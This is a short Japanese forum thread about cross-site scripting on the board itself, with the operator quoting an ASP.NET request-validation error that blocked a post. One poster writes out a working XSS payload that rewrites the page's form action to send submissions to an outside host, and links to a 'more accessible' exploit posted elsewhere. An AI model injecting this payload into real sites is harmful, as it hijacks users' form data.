新生鳩丸掲示板♯

やりすぎというか、やられすぎというか(謎)。

XSSって怖いですね(ベタ)。

test

なんかタグを含む投稿で? エラーになります。再挑戦

"><script>document.forms[0].action="http://altba.com";document.forms[0].method="get"</script><span

なぜかここに投稿しようとするとエラーになるのでよりaccesibleな【謎】exploitはとりあえずポータル墓場に投稿しておきます。

http://white.sakura.ne.jp/~rryu/hakaba/bbs.cgi?mode=mes&id=1351

>なぜかここに投稿しようとするとエラーになるので

　どんなエラーが出ていましたか？

　実は ASP.NET 自体にヤバ目な POST を弾く機能があったりするので、そのせいかもしれません。

>>なぜかここに投稿しようとするとエラーになるので

　調査しましたが、やはり ASP.NET 自身がこういうエラーを出してますね。

================

危険な可能性のある Request.Form 値がクライアントから検出されました。

説明 : 要求の検証により、危険性のあるクライアント入力値が検出されました。要求の処理は中止されました。この値は、クロス サイト スクリプト攻撃などのアプリケーションのセキュリティ問題を引き起こす可能性があります。ページ ディレクティブか、 構成セクションの validateRequest=false を設定することによって要求の検証を無効にできます。しかしこの場合、アプリケーションですべての入力を明示的に確認することをお勧めします。

例外の詳細: System.Web.HttpRequestValidationException: 危険な可能性のある Request.Form 値がクライアントから検出されました。

================

　この機能はオフにできるはずなので、ちょっと調べてみます。